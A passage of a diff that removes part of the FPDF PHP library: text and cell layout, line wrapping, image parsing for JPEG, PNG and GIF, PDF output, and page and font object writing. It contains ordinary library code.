-	if($this->page>0)
-		$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
-}
-
-function AddLink()
-{
-	// Create a new internal link
-	$n = count($this->links)+1;
-	$this->links[$n] = array(0, 0);
-	return $n;
-}
-
-function SetLink($link, $y=0, $page=-1)
-{
-	// Set destination of internal link
-	if($y==-1)
-		$y = $this->y;
-	if($page==-1)
-		$page = $this->page;
-	$this->links[$link] = array($page, $y);
-}
-
-function Link($x, $y, $w, $h, $link)
-{
-	// Put a link on the page
-	$this->PageLinks[$this->page][] = array($x*$this->k, $this->hPt-$y*$this->k, $w*$this->k, $h*$this->k, $link);
-}
-
-function Text($x, $y, $txt)
-{
-	// Output a string
-	if(!isset($this->CurrentFont))
-		$this->Error('No font has been set');
-	$s = sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
-	if($this->underline && $txt!='')
-		$s .= ' '.$this->_dounderline($x,$y,$txt);
-	if($this->ColorFlag)
-		$s = 'q '.$this->TextColor.' '.$s.' Q';
-	$this->_out($s);
-}
-
-function AcceptPageBreak()
-{
-	// Accept automatic page break or not
-	return $this->AutoPageBreak;
-}
-
-function Cell($w, $h=0, $txt='', $border=0, $ln=0, $align='', $fill=false, $link='')
-{
-	// Output a cell
-	$k = $this->k;
-	if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
-	{
-		// Automatic page break
-		$x = $this->x;
-		$ws = $this->ws;
-		if($ws>0)
-		{
-			$this->ws = 0;
-			$this->_out('0 Tw');
-		}
-		$this->AddPage($this->CurOrientation,$this->CurPageSize,$this->CurRotation);
-		$this->x = $x;
-		if($ws>0)
-		{
-			$this->ws = $ws;
-			$this->_out(sprintf('%.3F Tw',$ws*$k));
-		}
-	}
-	if($w==0)
-		$w = $this->w-$this->rMargin-$this->x;
-	$s = '';
-	if($fill || $border==1)
-	{
-		if($fill)
-			$op = ($border==1) ? 'B' : 'f';
-		else
-			$op = 'S';
-		$s = sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
-	}
-	if(is_string($border))
-	{
-		$x = $this->x;
-		$y = $this->y;
-		if(strpos($border,'L')!==false)
-			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
-		if(strpos($border,'T')!==false)
-			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
-		if(strpos($border,'R')!==false)
-			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
-		if(strpos($border,'B')!==false)
-			$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
-	}
-	if($txt!=='')
-	{
-		if(!isset($this->CurrentFont))
-			$this->Error('No font has been set');
-		if($align=='R')
-			$dx = $w-$this->cMargin-$this->GetStringWidth($txt);
-		elseif($align=='C')
-			$dx = ($w-$this->GetStringWidth($txt))/2;
-		else
-			$dx = $this->cMargin;
-		if($this->ColorFlag)
-			$s .= 'q '.$this->TextColor.' ';
-		$s .= sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$this->_escape($txt));
-		if($this->underline)
-			$s .= ' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
-		if($this->ColorFlag)
-			$s .= ' Q';
-		if($link)
-			$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
-	}
-	if($s)
-		$this->_out($s);
-	$this->lasth = $h;
-	if($ln>0)
-	{
-		// Go to next line
-		$this->y += $h;
-		if($ln==1)
-			$this->x = $this->lMargin;
-	}
-	else
-		$this->x += $w;
-}
-
-function MultiCell($w, $h, $txt, $border=0, $align='J', $fill=false)
-{
-	// Output text with automatic or explicit line breaks
-	if(!isset($this->CurrentFont))
-		$this->Error('No font has been set');
-	$cw = &$this->CurrentFont['cw'];
-	if($w==0)
-		$w = $this->w-$this->rMargin-$this->x;
-	$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
-	$s = str_replace("\r",'',$txt);
-	$nb = strlen($s);
-	if($nb>0 && $s[$nb-1]=="\n")
-		$nb--;
-	$b = 0;
-	if($border)
-	{
-		if($border==1)
-		{
-			$border = 'LTRB';
-			$b = 'LRT';
-			$b2 = 'LR';
-		}
-		else
-		{
-			$b2 = '';
-			if(strpos($border,'L')!==false)
-				$b2 .= 'L';
-			if(strpos($border,'R')!==false)
-				$b2 .= 'R';
-			$b = (strpos($border,'T')!==false) ? $b2.'T' : $b2;
-		}
-	}
-	$sep = -1;
-	$i = 0;
-	$j = 0;
-	$l = 0;
-	$ns = 0;
-	$nl = 1;
-	while($i<$nb)
-	{
-		// Get next character
-		$c = $s[$i];
-		if($c=="\n")
-		{
-			// Explicit line break
-			if($this->ws>0)
-			{
-				$this->ws = 0;
-				$this->_out('0 Tw');
-			}
-			$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
-			$i++;
-			$sep = -1;
-			$j = $i;
-			$l = 0;
-			$ns = 0;
-			$nl++;
-			if($border && $nl==2)
-				$b = $b2;
-			continue;
-		}
-		if($c==' ')
-		{
-			$sep = $i;
-			$ls = $l;
-			$ns++;
-		}
-		$l += $cw[$c];
-		if($l>$wmax)
-		{
-			// Automatic line break
-			if($sep==-1)
-			{
-				if($i==$j)
-					$i++;
-				if($this->ws>0)
-				{
-					$this->ws = 0;
-					$this->_out('0 Tw');
-				}
-				$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
-			}
-			else
-			{
-				if($align=='J')
-				{
-					$this->ws = ($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
-					$this->_out(sprintf('%.3F Tw',$this->ws*$this->k));
-				}
-				$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
-				$i = $sep+1;
-			}
-			$sep = -1;
-			$j = $i;
-			$l = 0;
-			$ns = 0;
-			$nl++;
-			if($border && $nl==2)
-				$b = $b2;
-		}
-		else
-			$i++;
-	}
-	// Last chunk
-	if($this->ws>0)
-	{
-		$this->ws = 0;
-		$this->_out('0 Tw');
-	}
-	if($border && strpos($border,'B')!==false)
-		$b .= 'B';
-	$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
-	$this->x = $this->lMargin;
-}
-
-function Write($h, $txt, $link='')
-{
-	// Output text in flowing mode
-	if(!isset($this->CurrentFont))
-		$this->Error('No font has been set');
-	$cw = &$this->CurrentFont['cw'];
-	$w = $this->w-$this->rMargin-$this->x;
-	$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
-	$s = str_replace("\r",'',$txt);
-	$nb = strlen($s);
-	$sep = -1;
-	$i = 0;
-	$j = 0;
-	$l = 0;
-	$nl = 1;
-	while($i<$nb)
-	{
-		// Get next character
-		$c = $s[$i];
-		if($c=="\n")
-		{
-			// Explicit line break
-			$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',false,$link);
-			$i++;
-			$sep = -1;
-			$j = $i;
-			$l = 0;
-			if($nl==1)
-			{
-				$this->x = $this->lMargin;
-				$w = $this->w-$this->rMargin-$this->x;
-				$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
-			}
-			$nl++;
-			continue;
-		}
-		if($c==' ')
-			$sep = $i;
-		$l += $cw[$c];
-		if($l>$wmax)
-		{
-			// Automatic line break
-			if($sep==-1)
-			{
-				if($this->x>$this->lMargin)
-				{
-					// Move to next line
-					$this->x = $this->lMargin;
-					$this->y += $h;
-					$w = $this->w-$this->rMargin-$this->x;
-					$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
-					$i++;
-					$nl++;
-					continue;
-				}
-				if($i==$j)
-					$i++;
-				$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',false,$link);
-			}
-			else
-			{
-				$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',false,$link);
-				$i = $sep+1;
-			}
-			$sep = -1;
-			$j = $i;
-			$l = 0;
-			if($nl==1)
-			{
-				$this->x = $this->lMargin;
-				$w = $this->w-$this->rMargin-$this->x;
-				$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
-			}
-			$nl++;
-		}
-		else
-			$i++;
-	}
-	// Last chunk
-	if($i!=$j)
-		$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',false,$link);
-}
-
-function Ln($h=null)
-{
-	// Line feed; default value is the last cell height
-	$this->x = $this->lMargin;
-	if($h===null)
-		$this->y += $this->lasth;
-	else
-		$this->y += $h;
-}
-
-function Image($file, $x=null, $y=null, $w=0, $h=0, $type='', $link='')
-{
-	// Put an image on the page
-	if($file=='')
-		$this->Error('Image file name is empty');
-	if(!isset($this->images[$file]))
-	{
-		// First use of this image, get info
-		if($type=='')
-		{
-			$pos = strrpos($file,'.');
-			if(!$pos)
-				$this->Error('Image file has no extension and no type was specified: '.$file);
-			$type = substr($file,$pos+1);
-		}
-		$type = strtolower($type);
-		if($type=='jpeg')
-			$type = 'jpg';
-		$mtd = '_parse'.$type;
-		if(!method_exists($this,$mtd))
-			$this->Error('Unsupported image type: '.$type);
-		$info = $this->$mtd($file);
-		$info['i'] = count($this->images)+1;
-		$this->images[$file] = $info;
-	}
-	else
-		$info = $this->images[$file];
-
-	// Automatic width and height calculation if needed
-	if($w==0 && $h==0)
-	{
-		// Put image at 96 dpi
-		$w = -96;
-		$h = -96;
-	}
-	if($w<0)
-		$w = -$info['w']*72/$w/$this->k;
-	if($h<0)
-		$h = -$info['h']*72/$h/$this->k;
-	if($w==0)
-		$w = $h*$info['w']/$info['h'];
-	if($h==0)
-		$h = $w*$info['h']/$info['w'];
-
-	// Flowing mode
-	if($y===null)
-	{
-		if($this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
-		{
-			// Automatic page break
-			$x2 = $this->x;
-			$this->AddPage($this->CurOrientation,$this->CurPageSize,$this->CurRotation);
-			$this->x = $x2;
-		}
-		$y = $this->y;
-		$this->y += $h;
-	}
-
-	if($x===null)
-		$x = $this->x;
-	$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
-	if($link)
-		$this->Link($x,$y,$w,$h,$link);
-}
-
-function GetPageWidth()
-{
-	// Get current page width
-	return $this->w;
-}
-
-function GetPageHeight()
-{
-	// Get current page height
-	return $this->h;
-}
-
-function GetX()
-{
-	// Get x position
-	return $this->x;
-}
-
-function SetX($x)
-{
-	// Set x position
-	if($x>=0)
-		$this->x = $x;
-	else
-		$this->x = $this->w+$x;
-}
-
-function GetY()
-{
-	// Get y position
-	return $this->y;
-}
-
-function SetY($y, $resetX=true)
-{
-	// Set y position and optionally reset x
-	if($y>=0)
-		$this->y = $y;
-	else
-		$this->y = $this->h+$y;
-	if($resetX)
-		$this->x = $this->lMargin;
-}
-
-function SetXY($x, $y)
-{
-	// Set x and y positions
-	$this->SetX($x);
-	$this->SetY($y,false);
-}
-
-function Output($dest='', $name='', $isUTF8=false)
-{
-	// Output PDF to some destination
-	$this->Close();
-	if(strlen($name)==1 && strlen($dest)!=1)
-	{
-		// Fix parameter order
-		$tmp = $dest;
-		$dest = $name;
-		$name = $tmp;
-	}
-	if($dest=='')
-		$dest = 'I';
-	if($name=='')
-		$name = 'doc.pdf';
-	switch(strtoupper($dest))
-	{
-		case 'I':
-			// Send to standard output
-			$this->_checkoutput();
-			if(PHP_SAPI!='cli')
-			{
-				// We send to a browser
-				header('Content-Type: application/pdf');
-				header('Content-Disposition: inline; '.$this->_httpencode('filename',$name,$isUTF8));
-				header('Cache-Control: private, max-age=0, must-revalidate');
-				header('Pragma: public');
-			}
-			echo $this->buffer;
-			break;
-		case 'D':
-			// Download file
-			$this->_checkoutput();
-			header('Content-Type: application/x-download');
-			header('Content-Disposition: attachment; '.$this->_httpencode('filename',$name,$isUTF8));
-			header('Cache-Control: private, max-age=0, must-revalidate');
-			header('Pragma: public');
-			echo $this->buffer;
-			break;
-		case 'F':
-			// Save to local file
-			if(!file_put_contents($name,$this->buffer))
-				$this->Error('Unable to create output file: '.$name);
-			break;
-		case 'S':
-			// Return as a string
-			return $this->buffer;
-		default:
-			$this->Error('Incorrect output destination: '.$dest);
-	}
-	return '';
-}
-
-/*******************************************************************************
-*                              Protected methods                               *
-*******************************************************************************/
-
-protected function _dochecks()
-{
-	// Check mbstring overloading
-	if(ini_get('mbstring.func_overload') & 2)
-		$this->Error('mbstring overloading must be disabled');
-}
-
-protected function _checkoutput()
-{
-	if(PHP_SAPI!='cli')
-	{
-		if(headers_sent($file,$line))
-			$this->Error("Some data has already been output, can't send PDF file (output started at $file:$line)");
-	}
-	if(ob_get_length())
-	{
-		// The output buffer is not empty
-		if(preg_match('/^(\xEF\xBB\xBF)?\s*$/',ob_get_contents()))
-		{
-			// It contains only a UTF-8 BOM and/or whitespace, let's clean it
-			ob_clean();
-		}
-		else
-			$this->Error("Some data has already been output, can't send PDF file");
-	}
-}
-
-protected function _getpagesize($size)
-{
-	if(is_string($size))
-	{
-		$size = strtolower($size);
-		if(!isset($this->StdPageSizes[$size]))
-			$this->Error('Unknown page size: '.$size);
-		$a = $this->StdPageSizes[$size];
-		return array($a[0]/$this->k, $a[1]/$this->k);
-	}
-	else
-	{
-		if($size[0]>$size[1])
-			return array($size[1], $size[0]);
-		else
-			return $size;
-	}
-}
-
-protected function _beginpage($orientation, $size, $rotation)
-{
-	$this->page++;
-	$this->pages[$this->page] = '';
-	$this->state = 2;
-	$this->x = $this->lMargin;
-	$this->y = $this->tMargin;
-	$this->FontFamily = '';
-	// Check page size and orientation
-	if($orientation=='')
-		$orientation = $this->DefOrientation;
-	else
-		$orientation = strtoupper($orientation[0]);
-	if($size=='')
-		$size = $this->DefPageSize;
-	else
-		$size = $this->_getpagesize($size);
-	if($orientation!=$this->CurOrientation || $size[0]!=$this->CurPageSize[0] || $size[1]!=$this->CurPageSize[1])
-	{
-		// New size or orientation
-		if($orientation=='P')
-		{
-			$this->w = $size[0];
-			$this->h = $size[1];
-		}
-		else
-		{
-			$this->w = $size[1];
-			$this->h = $size[0];
-		}
-		$this->wPt = $this->w*$this->k;
-		$this->hPt = $this->h*$this->k;
-		$this->PageBreakTrigger = $this->h-$this->bMargin;
-		$this->CurOrientation = $orientation;
-		$this->CurPageSize = $size;
-	}
-	if($orientation!=$this->DefOrientation || $size[0]!=$this->DefPageSize[0] || $size[1]!=$this->DefPageSize[1])
-		$this->PageInfo[$this->page]['size'] = array($this->wPt, $this->hPt);
-	if($rotation!=0)
-	{
-		if($rotation%90!=0)
-			$this->Error('Incorrect rotation value: '.$rotation);
-		$this->CurRotation = $rotation;
-		$this->PageInfo[$this->page]['rotation'] = $rotation;
-	}
-}
-
-protected function _endpage()
-{
-	$this->state = 1;
-}
-
-protected function _loadfont($font)
-{
-	// Load a font definition file from the font directory
-	if(strpos($font,'/')!==false || strpos($font,"\\")!==false)
-		$this->Error('Incorrect font definition file name: '.$font);
-	include($this->fontpath.$font);
-	if(!isset($name))
-		$this->Error('Could not include font definition file');
-	if(isset($enc))
-		$enc = strtolower($enc);
-	if(!isset($subsetted))
-		$subsetted = false;
-	return get_defined_vars();
-}
-
-protected function _isascii($s)
-{
-	// Test if string is ASCII
-	$nb = strlen($s);
-	for($i=0;$i<$nb;$i++)
-	{
-		if(ord($s[$i])>127)
-			return false;
-	}
-	return true;
-}
-
-protected function _httpencode($param, $value, $isUTF8)
-{
-	// Encode HTTP header field parameter
-	if($this->_isascii($value))
-		return $param.'="'.$value.'"';
-	if(!$isUTF8)
-		$value = utf8_encode($value);
-	if(strpos($_SERVER['HTTP_USER_AGENT'],'MSIE')!==false)
-		return $param.'="'.rawurlencode($value).'"';
-	else
-		return $param."*=UTF-8''".rawurlencode($value);
-}
-
-protected function _UTF8toUTF16($s)
-{
-	// Convert UTF-8 to UTF-16BE with BOM
-	$res = "\xFE\xFF";
-	$nb = strlen($s);
-	$i = 0;
-	while($i<$nb)
-	{
-		$c1 = ord($s[$i++]);
-		if($c1>=224)
-		{
-			// 3-byte character
-			$c2 = ord($s[$i++]);
-			$c3 = ord($s[$i++]);
-			$res .= chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2));
-			$res .= chr((($c2 & 0x03)<<6) + ($c3 & 0x3F));
-		}
-		elseif($c1>=192)
-		{
-			// 2-byte character
-			$c2 = ord($s[$i++]);
-			$res .= chr(($c1 & 0x1C)>>2);
-			$res .= chr((($c1 & 0x03)<<6) + ($c2 & 0x3F));
-		}
-		else
-		{
-			// Single-byte character
-			$res .= "\0".chr($c1);
-		}
-	}
-	return $res;
-}
-
-protected function _escape($s)
-{
-	// Escape special characters
-	if(strpos($s,'(')!==false || strpos($s,')')!==false || strpos($s,'\\')!==false || strpos($s,"\r")!==false)
-		return str_replace(array('\\','(',')',"\r"), array('\\\\','\\(','\\)','\\r'), $s);
-	else
-		return $s;
-}
-
-protected function _textstring($s)
-{
-	// Format a text string
-	if(!$this->_isascii($s))
-		$s = $this->_UTF8toUTF16($s);
-	return '('.$this->_escape($s).')';
-}
-
-protected function _dounderline($x, $y, $txt)
-{
-	// Underline text
-	$up = $this->CurrentFont['up'];
-	$ut = $this->CurrentFont['ut'];
-	$w = $this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
-	return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
-}
-
-protected function _parsejpg($file)
-{
-	// Extract info from a JPEG file
-	$a = getimagesize($file);
-	if(!$a)
-		$this->Error('Missing or incorrect image file: '.$file);
-	if($a[2]!=2)
-		$this->Error('Not a JPEG file: '.$file);
-	if(!isset($a['channels']) || $a['channels']==3)
-		$colspace = 'DeviceRGB';
-	elseif($a['channels']==4)
-		$colspace = 'DeviceCMYK';
-	else
-		$colspace = 'DeviceGray';
-	$bpc = isset($a['bits']) ? $a['bits'] : 8;
-	$data = file_get_contents($file);
-	return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data);
-}
-
-protected function _parsepng($file)
-{
-	// Extract info from a PNG file
-	$f = fopen($file,'rb');
-	if(!$f)
-		$this->Error('Can\'t open image file: '.$file);
-	$info = $this->_parsepngstream($f,$file);
-	fclose($f);
-	return $info;
-}
-
-protected function _parsepngstream($f, $file)
-{
-	// Check signature
-	if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
-		$this->Error('Not a PNG file: '.$file);
-
-	// Read header chunk
-	$this->_readstream($f,4);
-	if($this->_readstream($f,4)!='IHDR')
-		$this->Error('Incorrect PNG file: '.$file);
-	$w = $this->_readint($f);
-	$h = $this->_readint($f);
-	$bpc = ord($this->_readstream($f,1));
-	if($bpc>8)
-		$this->Error('16-bit depth not supported: '.$file);
-	$ct = ord($this->_readstream($f,1));
-	if($ct==0 || $ct==4)
-		$colspace = 'DeviceGray';
-	elseif($ct==2 || $ct==6)
-		$colspace = 'DeviceRGB';
-	elseif($ct==3)
-		$colspace = 'Indexed';
-	else
-		$this->Error('Unknown color type: '.$file);
-	if(ord($this->_readstream($f,1))!=0)
-		$this->Error('Unknown compression method: '.$file);
-	if(ord($this->_readstream($f,1))!=0)
-		$this->Error('Unknown filter method: '.$file);
-	if(ord($this->_readstream($f,1))!=0)
-		$this->Error('Interlacing not supported: '.$file);
-	$this->_readstream($f,4);
-	$dp = '/Predictor 15 /Colors '.($colspace=='DeviceRGB' ? 3 : 1).' /BitsPerComponent '.$bpc.' /Columns '.$w;
-
-	// Scan chunks looking for palette, transparency and image data
-	$pal = '';
-	$trns = '';
-	$data = '';
-	do
-	{
-		$n = $this->_readint($f);
-		$type = $this->_readstream($f,4);
-		if($type=='PLTE')
-		{
-			// Read palette
-			$pal = $this->_readstream($f,$n);
-			$this->_readstream($f,4);
-		}
-		elseif($type=='tRNS')
-		{
-			// Read transparency info
-			$t = $this->_readstream($f,$n);
-			if($ct==0)
-				$trns = array(ord(substr($t,1,1)));
-			elseif($ct==2)
-				$trns = array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
-			else
-			{
-				$pos = strpos($t,chr(0));
-				if($pos!==false)
-					$trns = array($pos);
-			}
-			$this->_readstream($f,4);
-		}
-		elseif($type=='IDAT')
-		{
-			// Read image data block
-			$data .= $this->_readstream($f,$n);
-			$this->_readstream($f,4);
-		}
-		elseif($type=='IEND')
-			break;
-		else
-			$this->_readstream($f,$n+4);
-	}
-	while($n);
-
-	if($colspace=='Indexed' && empty($pal))
-		$this->Error('Missing palette in '.$file);
-	$info = array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'dp'=>$dp, 'pal'=>$pal, 'trns'=>$trns);
-	if($ct>=4)
-	{
-		// Extract alpha channel
-		if(!function_exists('gzuncompress'))
-			$this->Error('Zlib not available, can\'t handle alpha channel: '.$file);
-		$data = gzuncompress($data);
-		$color = '';
-		$alpha = '';
-		if($ct==4)
-		{
-			// Gray image
-			$len = 2*$w;
-			for($i=0;$i<$h;$i++)
-			{
-				$pos = (1+$len)*$i;
-				$color .= $data[$pos];
-				$alpha .= $data[$pos];
-				$line = substr($data,$pos+1,$len);
-				$color .= preg_replace('/(.)./s','$1',$line);
-				$alpha .= preg_replace('/.(.)/s','$1',$line);
-			}
-		}
-		else
-		{
-			// RGB image
-			$len = 4*$w;
-			for($i=0;$i<$h;$i++)
-			{
-				$pos = (1+$len)*$i;
-				$color .= $data[$pos];
-				$alpha .= $data[$pos];
-				$line = substr($data,$pos+1,$len);
-				$color .= preg_replace('/(.{3})./s','$1',$line);
-				$alpha .= preg_replace('/.{3}(.)/s','$1',$line);
-			}
-		}
-		unset($data);
-		$data = gzcompress($color);
-		$info['smask'] = gzcompress($alpha);
-		$this->WithAlpha = true;
-		if($this->PDFVersion<'1.4')
-			$this->PDFVersion = '1.4';
-	}
-	$info['data'] = $data;
-	return $info;
-}
-
-protected function _readstream($f, $n)
-{
-	// Read n bytes from stream
-	$res = '';
-	while($n>0 && !feof($f))
-	{
-		$s = fread($f,$n);
-		if($s===false)
-			$this->Error('Error while reading stream');
-		$n -= strlen($s);
-		$res .= $s;
-	}
-	if($n>0)
-		$this->Error('Unexpected end of stream');
-	return $res;
-}
-
-protected function _readint($f)
-{
-	// Read a 4-byte integer from stream
-	$a = unpack('Ni',$this->_readstream($f,4));
-	return $a['i'];
-}
-
-protected function _parsegif($file)
-{
-	// Extract info from a GIF file (via PNG conversion)
-	if(!function_exists('imagepng'))
-		$this->Error('GD extension is required for GIF support');
-	if(!function_exists('imagecreatefromgif'))
-		$this->Error('GD has no GIF read support');
-	$im = imagecreatefromgif($file);
-	if(!$im)
-		$this->Error('Missing or incorrect image file: '.$file);
-	imageinterlace($im,0);
-	ob_start();
-	imagepng($im);
-	$data = ob_get_clean();
-	imagedestroy($im);
-	$f = fopen('php://temp','rb+');
-	if(!$f)
-		$this->Error('Unable to create memory stream');
-	fwrite($f,$data);
-	rewind($f);
-	$info = $this->_parsepngstream($f,$file);
-	fclose($f);
-	return $info;
-}
-
-protected function _out($s)
-{
-	// Add a line to the document
-	if($this->state==2)
-		$this->pages[$this->page] .= $s."\n";
-	elseif($this->state==1)
-		$this->_put($s);
-	elseif($this->state==0)
-		$this->Error('No page has been added yet');
-	elseif($this->state==3)
-		$this->Error('The document is closed');
-}
-
-protected function _put($s)
-{
-	$this->buffer .= $s."\n";
-}
-
-protected function _getoffset()
-{
-	return strlen($this->buffer);
-}
-
-protected function _newobj($n=null)
-{
-	// Begin a new object
-	if($n===null)
-		$n = ++$this->n;
-	$this->offsets[$n] = $this->_getoffset();
-	$this->_put($n.' 0 obj');
-}
-
-protected function _putstream($data)
-{
-	$this->_put('stream');
-	$this->_put($data);
-	$this->_put('endstream');
-}
-
-protected function _putstreamobject($data)
-{
-	if($this->compress)
-	{
-		$entries = '/Filter /FlateDecode ';
-		$data = gzcompress($data);
-	}
-	else
-		$entries = '';
-	$entries .= '/Length '.strlen($data);
-	$this->_newobj();
-	$this->_put('<<'.$entries.'>>');
-	$this->_putstream($data);
-	$this->_put('endobj');
-}
-
-protected function _putpage($n)
-{
-	$this->_newobj();
-	$this->_put('<</Type /Page');
-	$this->_put('/Parent 1 0 R');
-	if(isset($this->PageInfo[$n]['size']))
-		$this->_put(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageInfo[$n]['size'][0],$this->PageInfo[$n]['size'][1]));
-	if(isset($this->PageInfo[$n]['rotation']))
-		$this->_put('/Rotate '.$this->PageInfo[$n]['rotation']);
-	$this->_put('/Resources 2 0 R');
-	if(isset($this->PageLinks[$n]))
-	{
-		// Links
-		$annots = '/Annots [';
-		foreach($this->PageLinks[$n] as $pl)
-		{
-			$rect = sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
-			$annots .= '<</Type /Annot /Subtype /Link /Rect ['.$rect.'] /Border [0 0 0] ';
-			if(is_string($pl[4]))
-				$annots .= '/A <</S /URI /URI '.$this->_textstring($pl[4]).'>>>>';
-			else
-			{
-				$l = $this->links[$pl[4]];
-				if(isset($this->PageInfo[$l[0]]['size']))
-					$h = $this->PageInfo[$l[0]]['size'][1];
-				else
-					$h = ($this->DefOrientation=='P') ? $this->DefPageSize[1]*$this->k : $this->DefPageSize[0]*$this->k;
-				$annots .= sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',$this->PageInfo[$l[0]]['n'],$h-$l[1]*$this->k);
-			}
-		}
-		$this->_put($annots.']');
-	}
-	if($this->WithAlpha)
-		$this->_put('/Group <</Type /Group /S /Transparency /CS /DeviceRGB>>');
-	$this->_put('/Contents '.($this->n+1).' 0 R>>');
-	$this->_put('endobj');
-	// Page content
-	if(!empty($this->AliasNbPages))
-		$this->pages[$n] = str_replace($this->AliasNbPages,$this->page,$this->pages[$n]);
-	$this->_putstreamobject($this->pages[$n]);
-}
-
-protected function _putpages()
-{
-	$nb = $this->page;
-	for($n=1;$n<=$nb;$n++)
-		$this->PageInfo[$n]['n'] = $this->n+1+2*($n-1);
-	for($n=1;$n<=$nb;$n++)
-		$this->_putpage($n);
-	// Pages root
-	$this->_newobj(1);
-	$this->_put('<</Type /Pages');
-	$kids = '/Kids [';
-	for($n=1;$n<=$nb;$n++)
-		$kids .= $this->PageInfo[$n]['n'].' 0 R ';
-	$this->_put($kids.']');
-	$this->_put('/Count '.$nb);
-	if($this->DefOrientation=='P')
-	{
-		$w = $this->DefPageSize[0];
-		$h = $this->DefPageSize[1];
-	}
-	else
-	{
-		$w = $this->DefPageSize[1];
-		$h = $this->DefPageSize[0];
-	}
-	$this->_put(sprintf('/MediaBox [0 0 %.2F %.2F]',$w*$this->k,$h*$this->k));
-	$this->_put('>>');
-	$this->_put('endobj');
-}
-
-protected function _putfonts()
-{
-	foreach($this->FontFiles as $file=>$info)
-	{
-		// Font file embedding
-		$this->_newobj();
-		$this->FontFiles[$file]['n'] = $this->n;
-		$font = file_get_contents($this->fontpath.$file,true);
-		if(!$font)
-			$this->Error('Font file not found: '.$file);
-		$compressed = (substr($file,-2)=='.z');
-		if(!$compressed && isset($info['length2']))
-			$font = substr($font,6,$info['length1']).substr($font,6+$info['length1']+6,$info['length2']);
-		$this->_put('<</Length '.strlen($font));
-		if($compressed)
-			$this->_put('/Filter /FlateDecode');
-		$this->_put('/Length1 '.$info['length1']);
-		if(isset($info['length2']))
-			$this->_put('/Length2 '.$info['length2'].' /Length3 0');
-		$this->_put('>>');
-		$this->_putstream($font);
-		$this->_put('endobj');
-	}
-	foreach($this->fonts as $k=>$font)
-	{
-		// Encoding
-		if(isset($font['diff']))
-		{
-			if(!isset($this->encodings[$font['enc']]))
-			{
-				$this->_newobj();
-				$this->_put('<</Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$font['diff'].']>>');
-				$this->_put('endobj');
-				$this->encodings[$font['enc']] = $this->n;
-			}
-		}
-		// ToUnicode CMap
-		if(isset($font['uv']))
-		{
-			if(isset($font['enc']))
-				$cmapkey = $font['enc'];
-			else
-				$cmapkey = $font['name'];
-			if(!isset($this->cmaps[$cmapkey]))
-			{
-				$cmap = $this->_tounicodecmap($font['uv']);
-				$this->_putstreamobject($cmap);
-				$this->cmaps[$cmapkey] = $this->n;
-			}
-		}
-		// Font object
-		$this->fonts[$k]['n'] = $this->n+1;
-		$type = $font['type'];
-		$name = $font['name'];
-		if($font['subsetted'])
-			$name = 'AAAAAA+'.$name;
-		if($type=='Core')
-		{
-			// Core font
-			$this->_newobj();
-			$this->_put('<</Type /Font');
-			$this->_put('/BaseFont /'.$name);
-			$this->_put('/Subtype /Type1');
-			if($name!='Symbol' && $name!='ZapfDingbats')
-				$this->_put('/Encoding /WinAnsiEncoding');
-			if(isset($font['uv']))
-				$this->_put('/ToUnicode '.$this->cmaps[$cmapkey].' 0 R');
-			$this->_put('>>');
-			$this->_put('endobj');
-		}
